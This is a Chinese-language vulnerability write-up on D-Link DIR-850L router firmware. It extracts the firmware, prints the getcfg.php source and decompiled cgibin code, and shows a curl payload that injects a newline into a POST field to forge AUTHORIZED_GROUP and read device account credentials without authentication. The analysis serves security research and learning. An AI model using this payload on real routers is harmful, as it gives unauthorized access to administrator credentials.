有幸加入了360的IOT计划,接触一下IOT安全。
前期准备
下载固件
Dlink DIR-850L A1 FW v1.14固件下载
环境准备
安装binwalk和qemu
1 2 3
| brew install biwalk brew install qemu brew install squashfs
|
固件提取
1
| binwalk -Me DIR850LA1_FW114WWb07.bin
|
固件分析
因为不是很懂Bin的知识,所以到squashfs-root/htdocs/web
分析php页面。
找到htdocs/web/getcfg.php
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <? include "/htdocs/phplib/trace.php";
function is_power_user() //管理用户权限 { if($_GLOBALS["AUTHORIZED_GROUP"] == "") { return 0; } if($_GLOBALS["AUTHORIZED_GROUP"] < 0) { return 0; } return 1; }
if ($_POST["CACHE"] == "true") { echo dump(1, "/runtime/session/".$SESSION_UID."/postxml"); } else { if(is_power_user() == 1) { $SERVICE_COUNT = cut_count($_POST["SERVICES"], ","); TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]); $SERVICE_INDEX = 0; while ($SERVICE_INDEX < $SERVICE_COUNT) { $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ","); TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC); if ($GETCFG_SVC!="") { $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php"; if (isfile($file)=="1") dophp("load", $file); } $SERVICE_INDEX++; } } else { echo "\t<result>FAILED</result>\n"; echo "\t<message>Not authorized</message>\n"; } } ?>
|
$GETCFG_SVC变量直接从POST中获取,并且没有过滤就直接放入了字符串,只要能绕过is_power_user()j就能构造payload读取敏感文件,$_GLOBALS数组是在cgibin文件中定义的,而不是php的原生数组。所以需要分析一下cgibin文件。
mips架构没法用ida反编译,Web狗看不懂汇编代码,只能放到jeb里反编译。
对main进行分析,不同的请求会到不同的文件处理,找到phpcgi函数。
下面是关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $$v0 = sess_validate($$a0, $$a1, 524288, $$a3); $$a2 = $$v0; $$v0 = sprintf(&var30_8, "AUTHORIZED_GROUP=%d"); $$v0 = sobj_add_string($$s0, &var30_8, $$a2, $$a3); $$v0 = sobj_add_char($$s0, 10, $$a2, $$a3); $$v0 = sobj_add_string($$s0, "SESSION_UID=", $$a2, $$a3); $$v0 = sess_get_uid($$s0, "SESSION_UID=", $$a2, $$a3); $$v0 = sobj_add_char($$s0, 10, $$a2, $$a3); $$v0 = sobj_get_string($$s0, 10, $$a2, $$a3); $$a0 = 0; $$a2 = $$v0; $$a3 = **&gvar_437E18; $$a1 = 0; $$v0 = xmldbc_ephp(0, 0, $$a2, $$a3); $$s1 = $$v0;
|
在 phpcgi_main 函数中,程序将不同的请求头处理后传给了php。关键代码将经过sess_validate
验证的数据,赋值给AUTHORIZED_GROUP
,然后再作为全局数组$_GLOBALS
传递给PHP程序使用。sobj_add_string
以 \n分隔储存在字符串中,所以用户可以通过注入带有 \n 字符的恶意 payload 来伪造$_GLOBALS["AUTHORIZED_GROUP"]
的值,从而读取敏感文件。
payload:
1
| curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://ip:port/getcfg.php"
|
参考文章
https://xz.aliyun.com/t/2941